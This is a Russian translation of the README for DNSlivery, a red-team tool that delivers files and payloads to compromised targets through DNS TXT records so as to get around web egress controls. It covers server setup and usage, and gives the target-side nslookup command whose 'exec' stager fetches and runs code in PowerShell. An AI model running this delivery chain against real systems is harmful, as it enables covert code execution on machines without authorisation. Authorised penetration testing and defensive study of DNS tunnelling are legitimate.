
Лёгкая доставка файлов и полезных нагрузок через DNS
Простая доставка файлов и полезных нагрузок через DNS.
Этот проект изначально был вдохновлён PowerDNS и техническим сегментом Joff Thyer в подкасте Paul's Security Weekly #590 (youtu.be/CP6cIwFJswQ).
DNSlivery позволяет доставлять файлы на цель, используя DNS в качестве транспортного протокола.
Возможности:

Простая доставка файлов и/или полезных нагрузок на скомпрометированную цель, когда классическая веб-доставка невозможна и без необходимости в специализированном клиентском ПО. Это применимо к ограниченным средам, где исходящий веб-трафик запрещён или просто проверяется любопытным веб-прокси.

Хотя уже существуют более полные инструменты DNS-туннелирования (например, dnscat2 и iodine), все они требуют запуска специализированного клиента на цели. Проблема в том, что в таких ограниченных средах, вероятно, нет другого способа доставить клиент, кроме DNS. Другими словами, для построения DNS-канала связи с помощью этих инструментов уже необходимо иметь DNS-канал связи.
Для сравнения, DNSlivery обеспечивает только одностороннюю связь от вашего сервера к цели, но не требует для этого специализированного клиента. Таким образом, если вам нужно построить надёжный двусторонний канал связи через DNS, используйте DNSlivery для доставки клиента более продвинутого инструмента DNS-туннелирования на вашу цель.
Как и большинство инструментов DNS-туннелирования, DNSlivery использует записи TXT для хранения содержимого файлов в их base64-представлении. Однако для работы ему не требуется настройка полноценного DNS-сервера. Вместо этого он использует библиотеку scapy для прослушивания входящих DNS-пакетов и формирования нужного ответа.

Поскольку большинство файлов не помещаются в одну запись TXT, DNSlivery создаст несколько упорядоченных записей, содержащих base64-чанки файла. Например, на диаграмме выше показана доставка 42го чанка файла с именем file.
Чтобы получить все base64-чанки и собрать их обратно без необходимости в специализированном клиенте на цели, DNSlivery сгенерирует для каждого файла:

Этот двухэтапный процесс доставки необходим для добавления функций в stager (например, обработки потерянных DNS-ответов), которые в противном случае не поместились бы в одну запись TXT.
В настоящее время поддерживаются только цели на PowerShell. Однако DNSlivery можно улучшить для поддержки дополнительных целей, таких как bash или python. Пожалуйста, сообщите мне @no0be, если вы хотели бы увидеть реализацию этой функции.
DNSlivery не требует создания сложной серверной инфраструктуры. На самом деле есть только два простых требования:
NS в вашей публичной DNS-зонеudp/53 из ИнтернетаПервый шаг — делегировать поддомен серверу, который будет запускать DNSlivery, создав новую запись NS в вашем домене. Например, я создал следующую запись для делегирования поддомена dnsd.no0.be серверу на vps.no0.be.
dnsd IN NS vps.no0.be.
Если ваша зона управляется сторонним провайдером, обратитесь к его документации для создания записи NS.
Единственные требования для запуска DNSlivery — это python3 и его библиотека scapy.
git clone https://github.com/no0be/DNSlivery.git && cd DNSlivery
pip install -r requirements.txt
DNSlivery будет обслуживать все файлы из указанной директории (по умолчанию pwd) и должен запускаться с правами root для прослушивания входящих пакетов udp/53.
usage: dnslivery.py [-h] [-p PATH] [-s SIZE] [-v] interface domain nameserver
DNSlivery - Easy files and payloads delivery over DNS
positional arguments:
interface interface to listen to DNS traffic
domain FQDN name of the DNS zone
nameserver FQDN name of the server running DNSlivery
optional arguments:
-h, --help show this help message and exit
-p PATH, --path PATH path of directory to serve over DNS (default: pwd)
-s SIZE, --size SIZE size in bytes of base64 chunks (default: 255)
-v, --verbose increase verbosity
Пример:
$ sudo python3 dnslivery.py eth0 dnsd.no0.be vps.no0.be -p /tmp/dns-delivery
DNSlivery - Easy files and payloads delivery over DNS
[*] File "file" ready for delivery at file.dnsd.no0.be (7 chunks)
[*] Listening for DNS queries...
Поскольку набор символов, допустимых для доменных имён, гораздо более ограничен, чем для имён файлов UNIX (согласно RFC1035), DNSlivery выполнит нормализацию при необходимости.
Пример:
[*] File "My Awesome Powershell Script ;).ps1" ready for delivery at my-awesome-powershell-script----ps1.dnsd.no0.be (1891 chunks)
Имейте в виду, что текущий код нормализации не идеален, так как он не учитывает пересекающиеся имена файлов или ограничение размера.
На цели начните с получения загрузчика нужного файла, запросив его выделенную запись TXT. Поддерживаются следующие три загрузчика:
nslookup -type=txt [filename].[stager].[domain]
Затем просто скопируйте и вставьте загрузчик, указанный в DNS-ответе, в консоль PowerShell, чтобы получить файл на цели.
Пример:

| Действие | Загрузчик | Описание |
|---|
| Вывод | [filename].print.[domain] | (По умолчанию) Вывести доставленный файл в консоль |
| Выполнить | [filename].exec.[domain] | Выполнить доставленный файл (полезно для скриптов) |
| Сохранить | [filename].save.[domain] | Сохранить доставленный файл на диск (полезно для бинарников) |